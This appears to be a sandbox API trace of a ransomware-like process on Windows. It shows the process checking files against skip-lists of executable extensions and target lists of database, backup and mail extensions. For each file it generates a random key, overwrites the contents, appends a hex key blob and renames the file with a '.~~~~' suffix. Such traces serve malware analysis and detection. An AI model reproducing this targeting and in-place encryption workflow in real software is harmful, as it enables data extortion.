	[0082.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.107] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0082.108] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.108] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0082.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0082.108] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20209842561) returned 1
	[0082.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ac7a030, dwHighDateTime=0x1d60e1e)) 
	[0082.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0082.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0082.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0082.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3798
	[0082.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3798 | out: hHeap=0x300000) returned 1
	[0082.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7d80
	[0082.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0082.109] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0082.109] GetLastError () returned 0x0
	[0082.109] GetLastError () returned 0x0
	[0082.109] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0082.109] GetLastError () returned 0x0
	[0082.109] GetLastError () returned 0x0
	[0082.109] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x3580, lpOverlapped=0x0) returned 1
	[0082.155] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffca80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.157] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x3580, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x3580, lpOverlapped=0x0) returned 1
	[0082.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.157] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.157] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.157] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.157] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.157] CloseHandle (hObject=0x120) returned 1
	[0082.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0082.235] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.~~~~")) returned 1
	[0082.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b42b0 | out: hHeap=0x300000) returned 1
	[0082.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0082.264] GetLastError () returned 0x0
	[0082.264] RtlWakeConditionVariable () returned 0x365f70
	[0082.264] GetCurrentThreadId () returned 0x9cc
	[0082.264] GetCurrentThreadId () returned 0x9cc
	[0082.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0082.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4bc8 | out: hHeap=0x300000) returned 1
	[0082.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a38e8 | out: hHeap=0x300000) returned 1
	[0082.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4bc8
	[0082.264] lstrlenW (lpString=".scr") returned 4
	[0082.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".scr") returned 0x0
	[0082.264] lstrlenW (lpString=".cmd") returned 4
	[0082.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".cmd") returned 0x0
	[0082.264] lstrlenW (lpString=".dll") returned 4
	[0082.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".dll") returned 0x0
	[0082.264] lstrlenW (lpString=".bat") returned 4
	[0082.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".bat") returned 0x0
	[0082.264] lstrlenW (lpString=".cpl") returned 4
	[0082.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".cpl") returned 0x0
	[0082.264] lstrlenW (lpString=".sys") returned 4
	[0082.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".sys") returned 0x0
	[0082.265] lstrlenW (lpString=".msc") returned 4
	[0082.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".msc") returned 0x0
	[0082.265] lstrlenW (lpString=".com") returned 4
	[0082.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".com") returned 0x0
	[0082.265] lstrlenW (lpString=".lnk") returned 4
	[0082.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".lnk") returned 0x0
	[0082.265] lstrlenW (lpString=".msp") returned 4
	[0082.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".msp") returned 0x0
	[0082.265] lstrlenW (lpString=".pif") returned 4
	[0082.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".pif") returned 0x0
	[0082.265] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0082.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0082.266] lstrlenW (lpString=".sqb") returned 4
	[0082.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".sqb") returned 0x0
	[0082.266] lstrlenW (lpString=".ost") returned 4
	[0082.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".ost") returned 0x0
	[0082.266] lstrlenW (lpString=".txt") returned 4
	[0082.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".txt") returned 0x0
	[0082.266] lstrlenW (lpString=".mdt") returned 4
	[0082.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".mdt") returned 0x0
	[0082.266] lstrlenW (lpString=".BDB") returned 4
	[0082.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".BDB") returned 0x0
	[0082.266] lstrlenW (lpString=".eql") returned 4
	[0082.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".eql") returned 0x0
	[0082.266] lstrlenW (lpString=".DBF") returned 4
	[0082.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".DBF") returned 0x0
	[0082.266] lstrlenW (lpString=".EQL") returned 4
	[0082.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".EQL") returned 0x0
	[0082.266] lstrlenW (lpString=".FDB") returned 4
	[0082.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".FDB") returned 0x0
	[0082.266] lstrlenW (lpString=".EDB") returned 4
	[0082.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".EDB") returned 0x0
	[0082.266] lstrlenW (lpString=".DACPAC") returned 7
	[0082.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".DACPAC") returned 0x0
	[0082.267] lstrlenW (lpString=".VHD") returned 4
	[0082.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".VHD") returned 0x0
	[0082.267] lstrlenW (lpString=".DBV") returned 4
	[0082.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".DBV") returned 0x0
	[0082.267] lstrlenW (lpString=".dacpac") returned 7
	[0082.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".dacpac") returned 0x0
	[0082.267] lstrlenW (lpString=".sdf") returned 4
	[0082.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".sdf") returned 0x0
	[0082.267] lstrlenW (lpString=".accdb") returned 6
	[0082.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".accdb") returned 0x0
	[0082.267] lstrlenW (lpString=".DBX") returned 4
	[0082.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".DBX") returned 0x0
	[0082.267] lstrlenW (lpString=".MDT") returned 4
	[0082.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".MDT") returned 0x0
	[0082.267] lstrlenW (lpString=".SQB") returned 4
	[0082.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".SQB") returned 0x0
	[0082.267] lstrlenW (lpString=".vhd") returned 4
	[0082.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".vhd") returned 0x0
	[0082.268] lstrlenW (lpString=".bac") returned 4
	[0082.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".bac") returned 0x0
	[0082.268] lstrlenW (lpString=".mdf") returned 4
	[0082.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".mdf") returned 0x0
	[0082.268] lstrlenW (lpString=".BAK") returned 4
	[0082.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".BAK") returned 0x0
	[0082.268] lstrlenW (lpString=".BAC") returned 4
	[0082.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".BAC") returned 0x0
	[0082.268] lstrlenW (lpString=".dbs") returned 4
	[0082.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".dbs") returned 0x0
	[0082.268] lstrlenW (lpString=".vhdx") returned 5
	[0082.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".vhdx") returned 0x0
	[0082.268] lstrlenW (lpString=".NDF") returned 4
	[0082.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".NDF") returned 0x0
	[0082.268] lstrlenW (lpString=".dat") returned 4
	[0082.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".dat") returned 0x0
	[0082.268] lstrlenW (lpString=".DBS") returned 4
	[0082.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".DBS") returned 0x0
	[0082.268] lstrlenW (lpString=".CKP") returned 4
	[0082.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".CKP") returned 0x0
	[0082.268] lstrlenW (lpString=".edb") returned 4
	[0082.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".edb") returned 0x0
	[0082.268] lstrlenW (lpString=".PST") returned 4
	[0082.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".PST") returned 0x0
	[0082.268] lstrlenW (lpString=".dbf") returned 4
	[0082.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".dbf") returned 0x0
	[0082.269] lstrlenW (lpString=".SQL") returned 4
	[0082.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".SQL") returned 0x0
	[0082.269] lstrlenW (lpString=".pst") returned 4
	[0082.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".pst") returned 0x0
	[0082.269] lstrlenW (lpString=".dbv") returned 4
	[0082.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".dbv") returned 0x0
	[0082.269] lstrlenW (lpString=".SDF") returned 4
	[0082.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".SDF") returned 0x0
	[0082.269] lstrlenW (lpString=".dtxs") returned 5
	[0082.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".dtxs") returned 0x0
	[0082.269] lstrlenW (lpString=".db3") returned 4
	[0082.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".db3") returned 0x0
	[0082.269] lstrlenW (lpString=".OST") returned 4
	[0082.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".OST") returned 0x0
	[0082.269] lstrlenW (lpString=".dbx") returned 4
	[0082.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".dbx") returned 0x0
	[0082.269] lstrlenW (lpString=".DB3") returned 4
	[0082.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".DB3") returned 0x0
	[0082.269] lstrlenW (lpString=".DAT") returned 4
	[0082.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".DAT") returned 0x0
	[0082.269] lstrlenW (lpString=".VHDX") returned 5
	[0082.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".VHDX") returned 0x0
	[0082.269] lstrlenW (lpString=".ndf") returned 4
	[0082.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".ndf") returned 0x0
	[0082.269] lstrlenW (lpString=".DB") returned 3
	[0082.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".DB") returned 0x0
	[0082.270] lstrlenW (lpString=".sql") returned 4
	[0082.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".sql") returned 0x0
	[0082.270] lstrlenW (lpString=".MYD") returned 4
	[0082.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".MYD") returned 0x0
	[0082.270] lstrlenW (lpString=".DBT") returned 4
	[0082.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".DBT") returned 0x0
	[0082.270] lstrlenW (lpString=".ACCDB") returned 6
	[0082.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".ACCDB") returned 0x0
	[0082.270] lstrlenW (lpString=".fdb") returned 4
	[0082.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".fdb") returned 0x0
	[0082.270] lstrlenW (lpString=".bak") returned 4
	[0082.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".bak") returned 0x0
	[0082.270] lstrlenW (lpString=".myd") returned 4
	[0082.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".myd") returned 0x0
	[0082.270] lstrlenW (lpString=".DTXS") returned 5
	[0082.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".DTXS") returned 0x0
	[0082.270] lstrlenW (lpString=".ckp") returned 4
	[0082.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".ckp") returned 0x0
	[0082.270] lstrlenW (lpString=".dbt") returned 4
	[0082.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".dbt") returned 0x0
	[0082.270] lstrlenW (lpString=".db") returned 3
	[0082.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".db") returned 0x0
	[0082.270] lstrlenW (lpString=".TXT") returned 4
	[0082.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".TXT") returned 0x0
	[0082.270] lstrlenW (lpString=".MDF") returned 4
	[0082.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".MDF") returned 0x0
	[0082.271] lstrlenW (lpString=".bdb") returned 4
	[0082.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".bdb") returned 0x0
	[0082.271] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.271] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0082.272] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.272] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0082.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x38b738
	[0082.272] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20226231100) returned 1
	[0082.272] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ae1cf50, dwHighDateTime=0x1d60e1e)) 
	[0082.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0082.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0082.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0082.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a38e8
	[0082.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a38e8 | out: hHeap=0x300000) returned 1
	[0082.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7d80
	[0082.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0082.273] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0082.273] GetLastError () returned 0x0
	[0082.273] GetLastError () returned 0x0
	[0082.273] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0082.273] GetLastError () returned 0x0
	[0082.273] GetLastError () returned 0x0
	[0082.274] ReadFile (in: hFile=0x118, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x26dfec0*=0x22d6, lpOverlapped=0x0) returned 1
